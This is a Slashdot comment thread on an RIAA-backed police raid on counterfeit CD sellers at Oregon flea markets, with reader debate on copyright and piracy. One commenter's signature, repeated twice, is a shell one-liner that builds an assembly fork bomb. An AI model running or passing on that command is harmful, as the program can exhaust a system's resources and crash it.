Slashdot Mirror
RIAA Uses Local Cops In Oregon Raid
newtley writes "Fake cops employed by the RIAA started acting like real police officers quite a while ago — one of the earliest examples unfolded in Los Angeles in 2004. From a distance, the bust, 'looked like classic LAPD, DEA or FBI work, right down to the black "raid" vests the unit members wore,' said the LA Weekly. That their yellow stenciled lettering read 'RIAA' instead of something from an official law-enforcement agency, 'was lost on 55-year-old parking-lot attendant Ceasar Borrayo.' But it's also SOP for the RIAA to wield genuine officers paid for entirely from citizen taxes as copyright cops. Police were used in an RIAA-inspired raid at two flea markets in Beaverton, Oregon. 'Sgt. Paul Wandell, Beaverton police spokesman, said officers seized more than 50,000 items worth about $758,000,' says The Oregonian. But this is merely the tiny tip of an iceberg of absolutely staggering dimensions, an example of the extent coming in a GrayZone report slugged RIAA Anti-Piracy Seizure Information."
Totally diffrent.
People who copy CDs for their own use, dont sell them for profit.
While what they did was scarry, its pretty well justified. They were indeed selling counterfit CDs and DVDs for sale. NOT personal use.
"That being said, it's a bit disconcerting to see them concerned with "who owns reproduction equipment like this". I really don't think that should be a concern of anyone... owning equipment shouldn't be a crime, even if it is professional-quality duplicators."
I completely agree. I was reading through this thinking to myself that this wasn't really an issue, the police doing their job, but then that comment just boggled my mind. Since when did it become illegal to own replication equipment? What if you want to use it to replicate 4 CDs so you can put them in 4 different CD players and not have to carry the CD around with you? Of course since this is supposed to be "million dollar" replication machines (whose parts probably cost a couple grand to buy and put together knowing "million dollar" machinery...) there are probably few legal uses for them unless you're some famous celebrity who the RIAA wouldn't get within a mile of arresting. I'm just worried about the possible precedent if they start going after people for owning these things and the government upholds it which doesn't seem that unlikely...
There are two kinds of fool One says 'This is old therefore good' Another says 'This is new therefore better'- Dean Ing
These busts are nothing compared to the container loads full of pirated CD's, DVD's, cosmetics, toys, bikes, medicine, clothing, batteries, cameras, and electronics coming in from China. The goods coming in from China look identical to the legitimate item, except that sometimes the batteries explode due to defects in cloning the original and the medicine, costmetics, and food sometimes kill and/or poison. If our government fails to contain China, the US will become to China what England was to the 13 Colonies. If the RIAA really wants to stop mass piracy and copyright violations, they should start with the container ships and the Walmart supply chains.
P.S. - Take my advice, don't feed the wheat-gluten from China to your pets.
"Cohen was amazed by the quality of some of the bogus CDs and packaging, saying a good percentage of the Hillsboro discs were being counterfeited by a million-dollar replication machine like the music industry uses."
Um, so how is a person who runs a flea market booth supposed to tell the difference?
This is retaliation on the flea market booth owner for selling second hand CD-ROMs.
I suspect they can claim any CD is fake, especially if the same CD creation machines are used by "pirates" and the RIAA sponsor companies.
I am the unwilling control for my Origin.
Yes and when a group of gun nut buddies start an armed vigilante group they get arrested. So the second amendment was to allow citizens to control a militia rather than the government, so that the government could be kept in its place. Maybe it's not the government we should worry about. (although the government is the one that allowed the RIAA to get to this point, although not out of malice, just out of weakness)
I guess power really does lie with who has the money. Too bad corporations are allowed to have money and power even though they are immortal (unlike crazy rich old man who abuses his position).
“Common sense is not so common.” — Voltaire
when someone is kicking in your fucking door, you don't stop to give them the benefit of the doubt.
Mod parent up :) I know here there was a case where a police officer was shot doing just that and the shooter got off because he assumed that it was someone coming in to do him harm. Admittedly he probably still had to face the music for whatever they were kicking his door in for.
It is my experience (been next to a place that was raided one time) that the police generally don't just kick in the front door - they knock and ask to come in first. If you refuse then they use force. If it's the RIAA and you refuse and then they kick in your door then they are trespassing if you refuse them entry; the only people who can get a warrant to enter your property without your permission are the REAL law enforcement officers. A court cannot legally allow somebody access to your property in cases like the RIAA is trying to pull.
*sits back and waits for them to get their asses shot up*
*still waiting*
I drink to make other people interesting!
Nice trolling. I'll bite anyway.
First off, Nobody has a god-given right to profit. This is as valid for the RIAA and for artists, as it is for people selling "counterfeited" CDs. Copyright allows some people to profit from their creations, at the expense of having other people not being able to copy intellectual property freely. This is a law created by humans. It is not the end of the universe if copyright-law is changed or even abolished.
Proponents of copyright argue that giving a monetary incentive to artists is good, because we will have more talented artists that choose to spend their time creating intellectual property. While it's possible to argue about how large this effect is, it's very hard to deny it. So far so good. Detractors of copyright say that people should have the right to do whatever they want with information. Just because someone has taken the time to create it, doesn't mean they should be allowed to limit my freedom to use or copy it as I want. This is also very tough to argue against. It seems that the only way copyright makes sense, is to somehow find a balance between these issues. Artists should get some form of pay, people should have some form of freedom. There is very little black and white about the idea of copyright. While laws must necessarily be clear, the ideas behind it, are in effect quite grey.
Copyright is actually a very old idea. It existed as far back as in the Roman empire. Back in those days, it was mostly used in books. Just like today, books were written by authors. But unlike today, making a copy of a book, could involve one or more highly educated slaves, slaving for a year or more. Needless to say, books were quite expensive. In such a system, arguing that the author should receive a fair share whenever a new copy was produced, is not particulary hard.
Today (where I live), an album of music costs (in retail) about 2 average-salary work-hours. The cost (for a consumer) of making ONE exact replica of it, is less than a tenth of that. The cost of making mp3s out of it, would then be about 1-2 minutes. The cost of copying these mp3s to a buddy, would be about 1-2 seconds. Despite these almost shocking numbers (at least in a historical perspective), copyright legislation has recently become more in favour of copyright-holders. Essentially, the music industry, or more generally, the content industry, has partnered with the law-makers, to create a system that is completely unfair for the average consumer.
Actually, since today it is cheaper to produce a copy of some intellectual property, than it is to enjoy it (I can copy a CD much faster than I can listen to it), artificially restricting copying of content seems completely backwards. Why should the public accept such completely silly laws? Even if we can agree in principle, that it would be nice if artists got paid, that doesn't mean we must agree that copyright is the way to do it. Actually, it doesn't even mean that artists must get paid, it just means we would prefer a system that does so. But even so, a system that puts what looks like completely arbitrary restrictions on copying of content (that would otherwise be essentially free), is not something that can survive for long into the future. Copyright is dead!
http://en.wikipedia.org/wiki/Political_positions_
Hmm, now that's an interesting idea given that most of the terrorists are essentially pirates.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The USA is party to the International Treaty on Warfare on the High Seas, which bans members from using non-regular belligerents of any kind in naval combat.
What does the "International Treaty on Warfare on the High Seas" say about non signatories? Since Al Qaeda haven't signed it and won't abide by it, it seems unlikely it protects them.
Most sufficiently old treaties have lesser protection for non state actors like irregular fighters too, like the Geneva Conventions requirement that combatants wear a uniform. This predates the illegal combatant controversy - downed RAF airmen would wear their uniforms under civillian clothes to avoid being executed by the Germans (who seemed to stick to the Geneva Convention for UK personnel even if they totally ignored it for USSR ones) Those exemptions are there for a reason - the treaties were signed by European imperial powers who expected to have free hand to deal with insurgents in their colonies. And most sufficiently new ones have notice periods inspired by the US, in which case the US can always withdraw from them.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;